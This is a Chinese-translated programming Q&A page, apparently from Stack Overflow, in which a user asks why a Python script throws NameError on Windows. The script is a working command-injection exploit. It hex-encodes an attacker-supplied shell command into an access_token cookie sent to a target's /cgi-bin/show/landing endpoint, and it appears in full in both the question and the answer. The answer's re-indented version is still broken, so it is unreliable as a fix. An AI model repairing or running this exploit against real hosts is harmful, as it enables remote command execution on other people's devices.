【问题标题】:windows Python Name errorwindows Python名称错误
【发布时间】:2015-04-16 21:12:56
【问题描述】:

我收到此代码的名称错误。 错误消息:回溯(最近一次通话): 文件“D:\injection.py”,第 16 行,在 opts, args = getopt.getopt(argv, "h", ["help", "target="]) NameError: 名称 'argv' 未定义

#!/usr/bin/python

import sys
import getopt
import urllib

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
        # set defaults
        target = None

   # parse command line options
try:
    opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
            usage()
sys.exit(2)
for opt, arg in opts:
    if opt in ("-h", "--help"):
        usage()
        sys.exit()
    elif opt in ("--target"):
        target = arg

if target is None:
    target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response 
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()

print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)

def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print ("  --target=<hostname or IP>    Sets the target host.")
print ("Miscellaneous:")
print ("  -h                           Print usage options.")
print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])

谁能帮我解决这个问题。这段代码在 linux 中完美运行,但在 windows 中却没有

【问题讨论】:

  • 你的问题是你的缩进。您的 try 语句不在您的 main 函数中。
  • 如何解决我对 python 完全陌生,正在做项目然后遇到这个代码,请帮我解决这个问题
  • 代码必须一致缩进才能成为函数的一部分。打破缩进(就像你一样),这标志着功能的结束。
  • 此代码在 linux 中也不起作用。你会得到同样的错误。也许您只是从 linux 剪切并粘贴到 windows 而不更改行尾。如果你不明白为什么或在哪里需要缩进,你需要阅读一些 Python 教程。我帮不了你。
  • 这是该代码的链接。 link 。这段代码在 linux 中运行良好。但我在 Windows 中遇到缩进错误,但在 linux 中没有。我做了一些阅读并尝试修复,但在尝试时仍然出现错误

标签: python python-2.7 python-3.x argv nameerror


【解决方案1】:

有几个缩进错误。试试这个,

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
    # set defaults
    target = None

    # parse command line options
    try:
        opts, args = getopt.getopt(argv, "h", ["help", "target="])
    except getopt.GetoptError:
                usage()
    sys.exit(2)
    for opt, arg in opts:
        if opt in ("-h", "--help"):
            usage()
            sys.exit()
        elif opt in ("--target"):
            target = arg

    if target is None:
        target = raw_input("Enter target (hostname or IP): ")
    url = "http://" + target + "/cgi-bin/show/landing"
    command = raw_input("Enter command to inject: ")
    encodedCommand = hexEncode("' .; " + command + ";'")
    # uncomment the hacky line below if you want stderr output in the response
    #encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

    opener = urllib.build_opener()
    opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
    response = opener.open(url)
    content = response.read()

    print ("-----------------------------------------------------")
    print ("GET " + url)
    print ("Cookie: access_token=" + encodedCommand)
    print ("-----------------------------------------------------")
    print (content)

    def usage():
    print ("Usage: web-command-injection.py [options] ...")
    print ("Configuration:")
    print ("  --target=<hostname or IP>    Sets the target host.")
    print ("Miscellaneous:")
    print ("  -h                           Print usage options.")
    print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])

【讨论】:

  • s9.postimg.org/gzy77mg8f/python.jpg 已完成大部分修复工作以解决此错误
  • 你在使用 python 3.0 吗?如果是这样,请尝试使用 input() 而不是 raw_input ()
  • 谢谢大家,我已经解决了。
  • 错误是什么?你怎么修好它的 ?如果任何 cmets 或答案帮助投票或将其标记为答案。
猜你喜欢
  • 2016-05-03
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2017-08-11
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多